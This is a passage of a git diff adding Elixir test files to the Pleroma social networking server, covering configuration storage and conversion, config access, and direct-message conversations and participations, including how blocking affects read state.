key3: :val3] + }) + + updated = ConfigDB.get_by_params(%{group: config.group, key: config.key}) + + assert config.value == updated.value + assert updated.value[:key1] == :val1 + assert updated.value[:key2] == :val2 + assert updated.value[:key3] == :val3 + end + + test "deep merge" do + config = insert(:config, value: [key1: "val1", key2: [k1: :v1, k2: "v2"]]) + + {:ok, config} = + ConfigDB.update_or_create(%{ + group: config.group, + key: config.key, + value: [key1: :val1, key2: [k2: :v2, k3: :v3], key3: :val3] + }) + + updated = ConfigDB.get_by_params(%{group: config.group, key: config.key}) + + assert config.value == updated.value + assert updated.value[:key1] == :val1 + assert updated.value[:key2] == [k1: :v1, k2: :v2, k3: :v3] + assert updated.value[:key3] == :val3 + end + + test "only full update for some keys" do + config1 = insert(:config, key: :ecto_repos, value: [repo: Pleroma.Repo]) + + config2 = insert(:config, group: :cors_plug, key: :max_age, value: 18) + + {:ok, _config} = + ConfigDB.update_or_create(%{ + group: config1.group, + key: config1.key, + value: [another_repo: [Pleroma.Repo]] + }) + + {:ok, _config} = + ConfigDB.update_or_create(%{ + group: config2.group, + key: config2.key, + value: 777 + }) + + updated1 = ConfigDB.get_by_params(%{group: config1.group, key: config1.key}) + updated2 = ConfigDB.get_by_params(%{group: config2.group, key: config2.key}) + + assert updated1.value == [another_repo: [Pleroma.Repo]] + assert updated2.value == 777 + end + + test "full update if value is not keyword" do + config = + insert(:config, + group: ":tesla", + key: ":adapter", + value: Tesla.Adapter.Hackney + ) + + {:ok, _config} = + ConfigDB.update_or_create(%{ + group: config.group, + key: config.key, + value: Tesla.Adapter.Httpc + }) + + updated = ConfigDB.get_by_params(%{group: config.group, key: config.key}) + + assert updated.value == Tesla.Adapter.Httpc + end + + test "only full update for some subkeys" do + config1 = + insert(:config, + key: ":emoji", + value: [groups: [a: 1, b: 2], key: [a: 1]] + ) + + config2 = + insert(:config, + key: ":assets", + value: [mascots: [a: 1, b: 2], key: [a: 1]] + ) + + {:ok, _config} = + ConfigDB.update_or_create(%{ + group: config1.group, + key: config1.key, + value: [groups: [c: 3, d: 4], key: [b: 2]] + }) + + {:ok, _config} = + ConfigDB.update_or_create(%{ + group: config2.group, + key: config2.key, + value: [mascots: [c: 3, d: 4], key: [b: 2]] + }) + + updated1 = ConfigDB.get_by_params(%{group: config1.group, key: config1.key}) + updated2 = ConfigDB.get_by_params(%{group: config2.group, key: config2.key}) + + assert updated1.value == [groups: [c: 3, d: 4], key: [a: 1, b: 2]] + assert updated2.value == [mascots: [c: 3, d: 4], key: [a: 1, b: 2]] + end + end + + describe "delete/1" do + test "error on deleting non existing setting" do + {:error, error} = ConfigDB.delete(%{group: ":pleroma", key: ":key"}) + assert error =~ "Config with params %{group: \":pleroma\", key: \":key\"} not found" + end + + test "full delete" do + config = insert(:config) + {:ok, deleted} = ConfigDB.delete(%{group: config.group, key: config.key}) + assert Ecto.get_meta(deleted, :state) == :deleted + refute ConfigDB.get_by_params(%{group: config.group, key: config.key}) + end + + test "partial subkeys delete" do + config = insert(:config, value: [groups: [a: 1, b: 2], key: [a: 1]]) + + {:ok, deleted} = + ConfigDB.delete(%{group: config.group, key: config.key, subkeys: [":groups"]}) + + assert Ecto.get_meta(deleted, :state) == :loaded + + assert deleted.value == [key: [a: 1]] + + updated = ConfigDB.get_by_params(%{group: config.group, key: config.key}) + + assert updated.value == deleted.value + end + + test "full delete if remaining value after subkeys deletion is empty list" do + config = insert(:config, value: [groups: [a: 1, b: 2]]) + + {:ok, deleted} = + ConfigDB.delete(%{group: config.group, key: config.key, subkeys: [":groups"]}) + + assert Ecto.get_meta(deleted, :state) == :deleted + + refute ConfigDB.get_by_params(%{group: config.group, key: config.key}) + end + end + + describe "to_elixir_types/1" do + test "string" do + assert ConfigDB.to_elixir_types("value as string") == "value as string" + end + + test "boolean" do + assert ConfigDB.to_elixir_types(false) == false + end + + test "nil" do + assert ConfigDB.to_elixir_types(nil) == nil + end + + test "integer" do + assert ConfigDB.to_elixir_types(150) == 150 + end + + test "atom" do + assert ConfigDB.to_elixir_types(":atom") == :atom + end + + test "ssl options" do + assert ConfigDB.to_elixir_types([":tlsv1", ":tlsv1.1", ":tlsv1.2"]) == [ + :tlsv1, + :"tlsv1.1", + :"tlsv1.2" + ] + end + + test "pleroma module" do + assert ConfigDB.to_elixir_types("Pleroma.Bookmark") == Pleroma.Bookmark + end + + test "pleroma string" do + assert ConfigDB.to_elixir_types("Pleroma") == "Pleroma" + end + + test "phoenix module" do + assert ConfigDB.to_elixir_types("Phoenix.Socket.V1.JSONSerializer") == + Phoenix.Socket.V1.JSONSerializer + end + + test "tesla module" do + assert ConfigDB.to_elixir_types("Tesla.Adapter.Hackney") == Tesla.Adapter.Hackney + end + + test "ExSyslogger module" do + assert ConfigDB.to_elixir_types("ExSyslogger") == ExSyslogger + end + + test "Quack.Logger module" do + assert ConfigDB.to_elixir_types("Quack.Logger") == Quack.Logger + end + + test "Swoosh.Adapters modules" do + assert ConfigDB.to_elixir_types("Swoosh.Adapters.SMTP") == Swoosh.Adapters.SMTP + assert ConfigDB.to_elixir_types("Swoosh.Adapters.AmazonSES") == Swoosh.Adapters.AmazonSES + end + + test "sigil" do + assert ConfigDB.to_elixir_types("~r[comp[lL][aA][iI][nN]er]") == ~r/comp[lL][aA][iI][nN]er/ + end + + test "link sigil" do + assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/") == ~r/https:\/\/example.com/ + end + + test "link sigil with um modifiers" do + assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/um") == + ~r/https:\/\/example.com/um + end + + test "link sigil with i modifier" do + assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/i") == ~r/https:\/\/example.com/i + end + + test "link sigil with s modifier" do + assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/s") == ~r/https:\/\/example.com/s + end + + test "raise if valid delimiter not found" do + assert_raise ArgumentError, "valid delimiter for Regex expression not found", fn -> + ConfigDB.to_elixir_types("~r/https://[]{}<>\"'()|example.com/s") + end + end + + test "2 child tuple" do + assert ConfigDB.to_elixir_types(%{"tuple" => ["v1", ":v2"]}) == {"v1", :v2} + end + + test "proxy tuple with localhost" do + assert ConfigDB.to_elixir_types(%{ + "tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}] + }) == {:proxy_url, {:socks5, :localhost, 1234}} + end + + test "proxy tuple with domain" do + assert ConfigDB.to_elixir_types(%{ + "tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}] + }) == {:proxy_url, {:socks5, 'domain.com', 1234}} + end + + test "proxy tuple with ip" do + assert ConfigDB.to_elixir_types(%{ + "tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}] + }) == {:proxy_url, {:socks5, {127, 0, 0, 1}, 1234}} + end + + test "tuple with n childs" do + assert ConfigDB.to_elixir_types(%{ + "tuple" => [ + "v1", + ":v2", + "Pleroma.Bookmark", + 150, + false, + "Phoenix.Socket.V1.JSONSerializer" + ] + }) == {"v1", :v2, Pleroma.Bookmark, 150, false, Phoenix.Socket.V1.JSONSerializer} + end + + test "map with string key" do + assert ConfigDB.to_elixir_types(%{"key" => "value"}) == %{"key" => "value"} + end + + test "map with atom key" do + assert ConfigDB.to_elixir_types(%{":key" => "value"}) == %{key: "value"} + end + + test "list of strings" do + assert ConfigDB.to_elixir_types(["v1", "v2", "v3"]) == ["v1", "v2", "v3"] + end + + test "list of modules" do + assert ConfigDB.to_elixir_types(["Pleroma.Repo", "Pleroma.Activity"]) == [ + Pleroma.Repo, + Pleroma.Activity + ] + end + + test "list of atoms" do + assert ConfigDB.to_elixir_types([":v1", ":v2", ":v3"]) == [:v1, :v2, :v3] + end + + test "list of mixed values" do + assert ConfigDB.to_elixir_types([ + "v1", + ":v2", + "Pleroma.Repo", + "Phoenix.Socket.V1.JSONSerializer", + 15, + false + ]) == [ + "v1", + :v2, + Pleroma.Repo, + Phoenix.Socket.V1.JSONSerializer, + 15, + false + ] + end + + test "simple keyword" do + assert ConfigDB.to_elixir_types([%{"tuple" => [":key", "value"]}]) == [key: "value"] + end + + test "keyword" do + assert ConfigDB.to_elixir_types([ + %{"tuple" => [":types", "Pleroma.PostgresTypes"]}, + %{"tuple" => [":telemetry_event", ["Pleroma.Repo.Instrumenter"]]}, + %{"tuple" => [":migration_lock", nil]}, + %{"tuple" => [":key1", 150]}, + %{"tuple" => [":key2", "string"]} + ]) == [ + types: Pleroma.PostgresTypes, + telemetry_event: [Pleroma.Repo.Instrumenter], + migration_lock: nil, + key1: 150, + key2: "string" + ] + end + + test "trandformed keyword" do + assert ConfigDB.to_elixir_types(a: 1, b: 2, c: "string") == [a: 1, b: 2, c: "string"] + end + + test "complex keyword with nested mixed childs" do + assert ConfigDB.to_elixir_types([ + %{"tuple" => [":uploader", "Pleroma.Uploaders.Local"]}, + %{"tuple" => [":filters", ["Pleroma.Upload.Filter.Dedupe"]]}, + %{"tuple" => [":link_name", true]}, + %{"tuple" => [":proxy_remote", false]}, + %{"tuple" => [":common_map", %{":key" => "value"}]}, + %{ + "tuple" => [ + ":proxy_opts", + [ + %{"tuple" => [":redirect_on_failure", false]}, + %{"tuple" => [":max_body_length", 1_048_576]}, + %{ + "tuple" => [ + ":http", + [ + %{"tuple" => [":follow_redirect", true]}, + %{"tuple" => [":pool", ":upload"]} + ] + ] + } + ] + ] + } + ]) == [ + uploader: Pleroma.Uploaders.Local, + filters: [Pleroma.Upload.Filter.Dedupe], + link_name: true, + proxy_remote: false, + common_map: %{key: "value"}, + proxy_opts: [ + redirect_on_failure: false, + max_body_length: 1_048_576, + http: [ + follow_redirect: true, + pool: :upload + ] + ] + ] + end + + test "common keyword" do + assert ConfigDB.to_elixir_types([ + %{"tuple" => [":level", ":warn"]}, + %{"tuple" => [":meta", [":all"]]}, + %{"tuple" => [":path", ""]}, + %{"tuple" => [":val", nil]}, + %{"tuple" => [":webhook_url", "https://hooks.slack.com/services/YOUR-KEY-HERE"]} + ]) == [ + level: :warn, + meta: [:all], + path: "", + val: nil, + webhook_url: "https://hooks.slack.com/services/YOUR-KEY-HERE" + ] + end + + test "complex keyword with sigil" do + assert ConfigDB.to_elixir_types([ + %{"tuple" => [":federated_timeline_removal", []]}, + %{"tuple" => [":reject", ["~r/comp[lL][aA][iI][nN]er/"]]}, + %{"tuple" => [":replace", []]} + ]) == [ + federated_timeline_removal: [], + reject: [~r/comp[lL][aA][iI][nN]er/], + replace: [] + ] + end + + test "complex keyword with tuples with more than 2 values" do + assert ConfigDB.to_elixir_types([ + %{ + "tuple" => [ + ":http", + [ + %{ + "tuple" => [ + ":key1", + [ + %{ + "tuple" => [ + ":_", + [ + %{ + "tuple" => [ + "/api/v1/streaming", + "Pleroma.Web.MastodonAPI.WebsocketHandler", + [] + ] + }, + %{ + "tuple" => [ + "/websocket", + "Phoenix.Endpoint.CowboyWebSocket", + %{ + "tuple" => [ + "Phoenix.Transports.WebSocket", + %{ + "tuple" => [ + "Pleroma.Web.Endpoint", + "Pleroma.Web.UserSocket", + [] + ] + } + ] + } + ] + }, + %{ + "tuple" => [ + ":_", + "Phoenix.Endpoint.Cowboy2Handler", + %{"tuple" => ["Pleroma.Web.Endpoint", []]} + ] + } + ] + ] + } + ] + ] + } + ] + ] + } + ]) == [ + http: [ + key1: [ + {:_, + [ + {"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []}, + {"/websocket", Phoenix.Endpoint.CowboyWebSocket, + {Phoenix.Transports.WebSocket, + {Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, []}}}, + {:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}} + ]} + ] + ] + ] + end + end +end diff --git a/test/pleroma/config_test.exs b/test/pleroma/config_test.exs new file mode 100644 index 000000000..1556e4237 --- /dev/null +++ b/test/pleroma/config_test.exs @@ -0,0 +1,139 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ConfigTest do + use ExUnit.Case + + test "get/1 with an atom" do + assert Pleroma.Config.get(:instance) == Application.get_env(:pleroma, :instance) + assert Pleroma.Config.get(:azertyuiop) == nil + assert Pleroma.Config.get(:azertyuiop, true) == true + end + + test "get/1 with a list of keys" do + assert Pleroma.Config.get([:instance, :public]) == + Keyword.get(Application.get_env(:pleroma, :instance), :public) + + assert Pleroma.Config.get([Pleroma.Web.Endpoint, :render_errors, :view]) == + get_in( + Application.get_env( + :pleroma, + Pleroma.Web.Endpoint + ), + [:render_errors, :view] + ) + + assert Pleroma.Config.get([:azerty, :uiop]) == nil + assert Pleroma.Config.get([:azerty, :uiop], true) == true + end + + describe "nil values" do + setup do + Pleroma.Config.put(:lorem, nil) + Pleroma.Config.put(:ipsum, %{dolor: [sit: nil]}) + Pleroma.Config.put(:dolor, sit: %{amet: nil}) + + on_exit(fn -> Enum.each(~w(lorem ipsum dolor)a, &Pleroma.Config.delete/1) end) + end + + test "get/1 with an atom for nil value" do + assert Pleroma.Config.get(:lorem) == nil + end + + test "get/2 with an atom for nil value" do + assert Pleroma.Config.get(:lorem, true) == nil + end + + test "get/1 with a list of keys for nil value" do + assert Pleroma.Config.get([:ipsum, :dolor, :sit]) == nil + assert Pleroma.Config.get([:dolor, :sit, :amet]) == nil + end + + test "get/2 with a list of keys for nil value" do + assert Pleroma.Config.get([:ipsum, :dolor, :sit], true) == nil + assert Pleroma.Config.get([:dolor, :sit, :amet], true) == nil + end + end + + test "get/1 when value is false" do + Pleroma.Config.put([:instance, :false_test], false) + Pleroma.Config.put([:instance, :nested], []) + Pleroma.Config.put([:instance, :nested, :false_test], false) + + assert Pleroma.Config.get([:instance, :false_test]) == false + assert Pleroma.Config.get([:instance, :nested, :false_test]) == false + end + + test "get!/1" do + assert Pleroma.Config.get!(:instance) == Application.get_env(:pleroma, :instance) + + assert Pleroma.Config.get!([:instance, :public]) == + Keyword.get(Application.get_env(:pleroma, :instance), :public) + + assert_raise(Pleroma.Config.Error, fn -> + Pleroma.Config.get!(:azertyuiop) + end) + + assert_raise(Pleroma.Config.Error, fn -> + Pleroma.Config.get!([:azerty, :uiop]) + end) + end + + test "get!/1 when value is false" do + Pleroma.Config.put([:instance, :false_test], false) + Pleroma.Config.put([:instance, :nested], []) + Pleroma.Config.put([:instance, :nested, :false_test], false) + + assert Pleroma.Config.get!([:instance, :false_test]) == false + assert Pleroma.Config.get!([:instance, :nested, :false_test]) == false + end + + test "put/2 with a key" do + Pleroma.Config.put(:config_test, true) + + assert Pleroma.Config.get(:config_test) == true + end + + test "put/2 with a list of keys" do + Pleroma.Config.put([:instance, :config_test], true) + Pleroma.Config.put([:instance, :config_nested_test], []) + Pleroma.Config.put([:instance, :config_nested_test, :x], true) + + assert Pleroma.Config.get([:instance, :config_test]) == true + assert Pleroma.Config.get([:instance, :config_nested_test, :x]) == true + end + + test "delete/1 with a key" do + Pleroma.Config.put([:delete_me], :delete_me) + Pleroma.Config.delete([:delete_me]) + assert Pleroma.Config.get([:delete_me]) == nil + end + + test "delete/2 with a list of keys" do + Pleroma.Config.put([:delete_me], hello: "world", world: "Hello") + Pleroma.Config.delete([:delete_me, :world]) + assert Pleroma.Config.get([:delete_me]) == [hello: "world"] + Pleroma.Config.put([:delete_me, :delete_me], hello: "world", world: "Hello") + Pleroma.Config.delete([:delete_me, :delete_me, :world]) + assert Pleroma.Config.get([:delete_me, :delete_me]) == [hello: "world"] + + assert Pleroma.Config.delete([:this_key_does_not_exist]) + assert Pleroma.Config.delete([:non, :existing, :key]) + end + + test "fetch/1" do + Pleroma.Config.put([:lorem], :ipsum) + Pleroma.Config.put([:ipsum], dolor: :sit) + + assert Pleroma.Config.fetch([:lorem]) == {:ok, :ipsum} + assert Pleroma.Config.fetch(:lorem) == {:ok, :ipsum} + assert Pleroma.Config.fetch([:ipsum, :dolor]) == {:ok, :sit} + assert Pleroma.Config.fetch([:lorem, :ipsum]) == :error + assert Pleroma.Config.fetch([:loremipsum]) == :error + assert Pleroma.Config.fetch(:loremipsum) == :error + + Pleroma.Config.delete([:lorem]) + Pleroma.Config.delete([:ipsum]) + end +end diff --git a/test/pleroma/conversation/participation_test.exs b/test/pleroma/conversation/participation_test.exs new file mode 100644 index 000000000..59a1b6492 --- /dev/null +++ b/test/pleroma/conversation/participation_test.exs @@ -0,0 +1,363 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Conversation.ParticipationTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Conversation + alias Pleroma.Conversation.Participation + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + test "getting a participation will also preload things" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _activity} = + CommonAPI.post(user, %{status: "Hey @#{other_user.nickname}.", visibility: "direct"}) + + [participation] = Participation.for_user(user) + + participation = Participation.get(participation.id, preload: [:conversation]) + + assert %Pleroma.Conversation{} = participation.conversation + end + + test "for a new conversation or a reply, it doesn't mark the author's participation as unread" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _} = + CommonAPI.post(user, %{status: "Hey @#{other_user.nickname}.", visibility: "direct"}) + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + [%{read: true}] = Participation.for_user(user) + [%{read: false} = participation] = Participation.for_user(other_user) + + assert User.get_cached_by_id(user.id).unread_conversation_count == 0 + assert User.get_cached_by_id(other_user.id).unread_conversation_count == 1 + + {:ok, _} = + CommonAPI.post(other_user, %{ + status: "Hey @#{user.nickname}.", + visibility: "direct", + in_reply_to_conversation_id: participation.id + }) + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + [%{read: false}] = Participation.for_user(user) + [%{read: true}] = Participation.for_user(other_user) + + assert User.get_cached_by_id(user.id).unread_conversation_count == 1 + assert User.get_cached_by_id(other_user.id).unread_conversation_count == 0 + end + + test "for a new conversation, it sets the recipents of the participation" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{status: "Hey @#{other_user.nickname}.", visibility: "direct"}) + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + [participation] = Participation.for_user(user) + participation = Pleroma.Repo.preload(participation, :recipients) + + assert length(participation.recipients) == 2 + assert user in participation.recipients + assert other_user in participation.recipients + + # Mentioning another user in the same conversation will not add a new recipients. + + {:ok, _activity} = + CommonAPI.post(user, %{ + in_reply_to_status_id: activity.id, + status: "Hey @#{third_user.nickname}.", + visibility: "direct" + }) + + [participation] = Participation.for_user(user) + participation = Pleroma.Repo.preload(participation, :recipients) + + assert length(participation.recipients) == 2 + end + + test "it creates a participation for a conversation and a user" do + user = insert(:user) + conversation = insert(:conversation) + + {:ok, %Participation{} = participation} = + Participation.create_for_user_and_conversation(user, conversation) + + assert participation.user_id == user.id + assert participation.conversation_id == conversation.id + + # Needed because updated_at is accurate down to a second + :timer.sleep(1000) + + # Creating again returns the same participation + {:ok, %Participation{} = participation_two} = + Participation.create_for_user_and_conversation(user, conversation) + + assert participation.id == participation_two.id + refute participation.updated_at == participation_two.updated_at + end + + test "recreating an existing participations sets it to unread" do + participation = insert(:participation, %{read: true}) + + {:ok, participation} = + Participation.create_for_user_and_conversation( + participation.user, + participation.conversation + ) + + refute participation.read + end + + test "it marks a participation as read" do + participation = insert(:participation, %{read: false}) + {:ok, updated_participation} = Participation.mark_as_read(participation) + + assert updated_participation.read + assert updated_participation.updated_at == participation.updated_at + end + + test "it marks a participation as unread" do + participation = insert(:participation, %{read: true}) + {:ok, participation} = Participation.mark_as_unread(participation) + + refute participation.read + end + + test "it marks all the user's participations as read" do + user = insert(:user) + other_user = insert(:user) + participation1 = insert(:participation, %{read: false, user: user}) + participation2 = insert(:participation, %{read: false, user: user}) + participation3 = insert(:participation, %{read: false, user: other_user}) + + {:ok, _, [%{read: true}, %{read: true}]} = Participation.mark_all_as_read(user) + + assert Participation.get(participation1.id).read == true + assert Participation.get(participation2.id).read == true + assert Participation.get(participation3.id).read == false + end + + test "gets all the participations for a user, ordered by updated at descending" do + user = insert(:user) + {:ok, activity_one} = CommonAPI.post(user, %{status: "x", visibility: "direct"}) + {:ok, activity_two} = CommonAPI.post(user, %{status: "x", visibility: "direct"}) + + {:ok, activity_three} = + CommonAPI.post(user, %{ + status: "x", + visibility: "direct", + in_reply_to_status_id: activity_one.id + }) + + # Offset participations because the accuracy of updated_at is down to a second + + for {activity, offset} <- [{activity_two, 1}, {activity_three, 2}] do + conversation = Conversation.get_for_ap_id(activity.data["context"]) + participation = Participation.for_user_and_conversation(user, conversation) + updated_at = NaiveDateTime.add(Map.get(participation, :updated_at), offset) + + Ecto.Changeset.change(participation, %{updated_at: updated_at}) + |> Repo.update!() + end + + assert [participation_one, participation_two] = Participation.for_user(user) + + object2 = Pleroma.Object.normalize(activity_two) + object3 = Pleroma.Object.normalize(activity_three) + + user = Repo.get(Pleroma.User, user.id) + + assert participation_one.conversation.ap_id == object3.data["context"] + assert participation_two.conversation.ap_id == object2.data["context"] + assert participation_one.conversation.users == [user] + + # Pagination + assert [participation_one] = Participation.for_user(user, %{"limit" => 1}) + + assert participation_one.conversation.ap_id == object3.data["context"] + + # With last_activity_id + assert [participation_one] = + Participation.for_user_with_last_activity_id(user, %{"limit" => 1}) + + assert participation_one.last_activity_id == activity_three.id + end + + test "Doesn't die when the conversation gets empty" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + [participation] = Participation.for_user_with_last_activity_id(user) + + assert participation.last_activity_id == activity.id + + {:ok, _} = CommonAPI.delete(activity.id, user) + + [] = Participation.for_user_with_last_activity_id(user) + end + + test "it sets recipients, always keeping the owner of the participation even when not explicitly set" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + [participation] = Participation.for_user_with_last_activity_id(user) + + participation = Repo.preload(participation, :recipients) + user = User.get_cached_by_id(user.id) + + assert participation.recipients |> length() == 1 + assert user in participation.recipients + + {:ok, participation} = Participation.set_recipients(participation, [other_user.id]) + + assert participation.recipients |> length() == 2 + assert user in participation.recipients + assert other_user in participation.recipients + end + + describe "blocking" do + test "when the user blocks a recipient, the existing conversations with them are marked as read" do + blocker = insert(:user) + blocked = insert(:user) + third_user = insert(:user) + + {:ok, _direct1} = + CommonAPI.post(third_user, %{ + status: "Hi @#{blocker.nickname}", + visibility: "direct" + }) + + {:ok, _direct2} = + CommonAPI.post(third_user, %{ + status: "Hi @#{blocker.nickname}, @#{blocked.nickname}", + visibility: "direct" + }) + + {:ok, _direct3} = + CommonAPI.post(blocked, %{ + status: "Hi @#{blocker.nickname}", + visibility: "direct" + }) + + {:ok, _direct4} = + CommonAPI.post(blocked, %{ + status: "Hi @#{blocker.nickname}, @#{third_user.nickname}", + visibility: "direct" + }) + + assert [%{read: false}, %{read: false}, %{read: false}, %{read: false}] = + Participation.for_user(blocker) + + assert User.get_cached_by_id(blocker.id).unread_conversation_count == 4 + + {:ok, _user_relationship} = User.block(blocker, blocked) + + # The conversations with the blocked user are marked as read + assert [%{read: true}, %{read: true}, %{read: true}, %{read: false}] = + Participation.for_user(blocker) + + assert User.get_cached_by_id(blocker.id).unread_conversation_count == 1 + + # The conversation is not marked as read for the blocked user + assert [_, _, %{read: false}] = Participation.for_user(blocked) + assert User.get_cached_by_id(blocked.id).unread_conversation_count == 1 + + # The conversation is not marked as read for the third user + assert [%{read: false}, _, _] = Participation.for_user(third_user) + assert User.get_cached_by_id(third_user.id).unread_conversation_count == 1 + end + + test "the new conversation with the blocked user is not marked as unread " do + blocker = insert(:user) + blocked = insert(:user) + third_user = insert(:user) + + {:ok, _user_relationship} = User.block(blocker, blocked) + + # When the blocked user is the author + {:ok, _direct1} = + CommonAPI.post(blocked, %{ + status: "Hi @#{blocker.nickname}", + visibility: "direct" + }) + + assert [%{read: true}] = Participation.for_user(blocker) + assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 + + # When the blocked user is a recipient + {:ok, _direct2} = + CommonAPI.post(third_user, %{ + status: "Hi @#{blocker.nickname}, @#{blocked.nickname}", + visibility: "direct" + }) + + assert [%{read: true}, %{read: true}] = Participation.for_user(blocker) + assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 + + assert [%{read: false}, _] = Participation.for_user(blocked) + assert User.get_cached_by_id(blocked.id).unread_conversation_count == 1 + end + + test "the conversation with the blocked user is not marked as unread on a reply" do + blocker = insert(:user) + blocked = insert(:user) + third_user = insert(:user) + + {:ok, _direct1} = + CommonAPI.post(blocker, %{ + status: "Hi @#{third_user.nickname}, @#{blocked.nickname}", + visibility: "direct" + }) + + {:ok, _user_relationship} = User.block(blocker, blocked) + assert [%{read: true}] = Participation.for_user(blocker) + assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 + + assert [blocked_participation] = Participation.for_user(blocked) + + # When it's a reply from the blocked user + {:ok, _direct2} = + CommonAPI.post(blocked, %{ + status: "reply", + visibility: "direct", + in_reply_to_conversation_id: blocked_participation.id + }) + + assert [%{read: true}] = Participation.for_user(blocker) + assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 + + assert [third_user_participation] = Participation.for_user(third_user) + + # When it's a reply from the third user + {:ok, _direct3} = + CommonAPI.post(third_user, %{ + status: "reply", + visibility: "direct", + in_reply_to_conversation_id: third_user_participation.id + }) + + assert [%{read: true}] = Participation.for_user(blocker) + assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 + + # Marked as unread for the blocked user + assert [%{read: false}] = Participation.for_user(blocked) + assert User.get_cached_by_id(blocked.id).unread_conversation_count == 1 + end + end +end diff --git a/test/pleroma/conversation_test.exs b/test/pleroma/conversation_test.exs new file mode 100644 index 000000000..359aa6840 --- /dev/null +++ b/test/pleroma/conversation_test.exs @@ -0,0 +1,199 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ConversationTest do + use Pleroma.DataCase + alias Pleroma.Activity + alias Pleroma.Conversation + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup_all do: clear_config([:instance, :federating], true) + + test "it goes through old direct conversations" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _activity} = + CommonAPI.post(user, %{visibility: "direct", status: "hey @#{other_user.nickname}"}) + + Pleroma.Tests.ObanHelpers.perform_all() + + Repo.delete_all(Conversation) + Repo.delete_all(Conversation.Participation) + + refute Repo.one(Conversation) + + Conversation.bump_for_all_activities() + + assert Repo.one(Conversation) + [participation, _p2] = Repo.all(Conversation.Participation) + + assert participation.read + end + + test "it creates a conversation for given ap_id" do + assert {:ok, %Conversation{} = conversation} = + Conversation.create_for_ap_id("https://some_ap_id") + + # Inserting again returns the same + assert {:ok, conversation_two} = Conversation.create_for_ap_id("https://some_ap_id") + assert conversation_two.id == conversation.id + end + + test "public posts don't create conversations" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "Hey"}) + + object = Pleroma.Object.normalize(activity) + context = object.data["context"] + + conversation = Conversation.get_for_ap_id(context) + + refute conversation + end + + test "it creates or updates a conversation and participations for a given DM" do + har = insert(:user) + jafnhar = insert(:user, local: false) + tridi = insert(:user) + + {:ok, activity} = + CommonAPI.post(har, %{status: "Hey @#{jafnhar.nickname}", visibility: "direct"}) + + object = Pleroma.Object.normalize(activity) + context = object.data["context"] + + conversation = + Conversation.get_for_ap_id(context) + |> Repo.preload(:participations) + + assert conversation + + assert Enum.find(conversation.participations, fn %{user_id: user_id} -> har.id == user_id end) + + assert Enum.find(conversation.participations, fn %{user_id: user_id} -> + jafnhar.id == user_id + end) + + {:ok, activity} = + CommonAPI.post(jafnhar, %{ + status: "Hey @#{har.nickname}", + visibility: "direct", + in_reply_to_status_id: activity.id + }) + + object = Pleroma.Object.normalize(activity) + context = object.data["context"] + + conversation_two = + Conversation.get_for_ap_id(context) + |> Repo.preload(:participations) + + assert conversation_two.id == conversation.id + + assert Enum.find(conversation_two.participations, fn %{user_id: user_id} -> + har.id == user_id + end) + + assert Enum.find(conversation_two.participations, fn %{user_id: user_id} -> + jafnhar.id == user_id + end) + + {:ok, activity} = + CommonAPI.post(tridi, %{ + status: "Hey @#{har.nickname}", + visibility: "direct", + in_reply_to_status_id: activity.id + }) + + object = Pleroma.Object.normalize(activity) + context = object.data["context"] + + conversation_three = + Conversation.get_for_ap_id(context) + |> Repo.preload([:participations, :users]) + + assert conversation_three.id == conversation.id + + assert Enum.find(conversation_three.participations, fn %{user_id: user_id} -> + har.id == user_id + end) + + assert Enum.find(conversation_three.participations, fn %{user_id: user_id} -> + jafnhar.id == user_id + end) + + assert Enum.find(conversation_three.participations, fn %{user_id: user_id} -> + tridi.id == user_id + end) + + assert Enum.find(conversation_three.users, fn %{id: user_id} -> + har.id == user_id + end) + + assert Enum.find(conversation_three.users, fn %{id: user_id} -> + jafnhar.id == user_id + end) + + assert Enum.find(conversation_three.users, fn %{id: user_id} -> + tridi.id == user_id + end) + end + + test "create_or_bump_for returns the conversation with participations" do + har = insert(:user) + jafnhar = insert(:user, local: false) + + {:ok, activity} = + CommonAPI.post(har, %{status: "Hey @#{jafnhar.nickname}", visibility: "direct"}) + + {:ok, conversation} = Conversation.create_or_bump_for(activity) + + assert length(conversation.participations) == 2 + + {:ok, activity} = + CommonAPI.post(har, %{status: "Hey @#{jafnhar.nickname}", visibility: "public"}) + + assert {:error, _} = Conversation.create_or_bump_for(activity) + end + + test "create_or_bump_for does not 